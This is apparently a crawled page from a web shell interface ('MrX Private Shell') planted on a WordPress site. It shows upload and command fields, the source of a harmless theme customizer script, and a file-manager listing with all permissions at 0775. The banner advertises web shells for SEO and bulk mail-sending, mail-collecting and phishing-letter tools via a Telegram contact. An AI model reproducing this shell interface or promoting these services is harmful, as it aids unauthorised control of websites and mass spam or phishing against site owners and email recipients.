__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
import { createElement } from '@wordpress/element'

const getDocument = (x) =>
	x.document || x.contentDocument || x.contentWindow.document

const buildersMaps = {
	header: {
		panelType: 'header',
		customizerFieldKey: 'header_placements',
	},

	footer: {
		panelType: 'footer',
		customizerFieldKey: 'footer_placements',
	},
}

const openBuilderFor = (key) => {
	document.querySelector('.ct-panel-builder').dataset.builder =
		buildersMaps[key].panelType

	document.querySelector('.wp-full-overlay').classList.add('ct-show-builder')

	if (buildersMaps[key].panelType === 'footer') {
		document.body.classList.add('ct-footer-builder')
	}
}

const closeBuilderFor = (key) => {
	document
		.querySelector('.wp-full-overlay')
		.classList.remove('ct-show-builder')
	document.body.classList.remove('ct-footer-builder')
}

export const initBuilder = () => {
	const root = document.createElement('div')
	root.classList.add('ct-panel-builder')

	document.querySelector('.wp-full-overlay').appendChild(root)

	Object.keys(buildersMaps).map((singleKey) =>
		(wp.customize.panel(singleKey)
			? wp.customize.panel
			: wp.customize.section)(singleKey, (section) =>
			section.expanded.bind((value) =>
				value ? openBuilderFor(singleKey) : closeBuilderFor(singleKey)
			)
		)
	)
}

Filemanager

Name Type Size Permission Actions
components Folder 0775
controls Folder 0775
options Folder 0775
panels-builder Folder 0775
sync Folder 0775
controls.js File 5.46 KB 0775
customizer-color-scheme.js File 710 B 0775
customizer-variables.js File 3.35 KB 0775
experimental-section.js File 176 B 0775
initWidgets.js File 0 B 0775
panels-builder.js File 1.24 KB 0775
preview-events.js File 1.14 KB 0775
public-path.js File 85 B 0775
reset.js File 1.93 KB 0775
sync.js File 3.21 KB 0775
Filemanager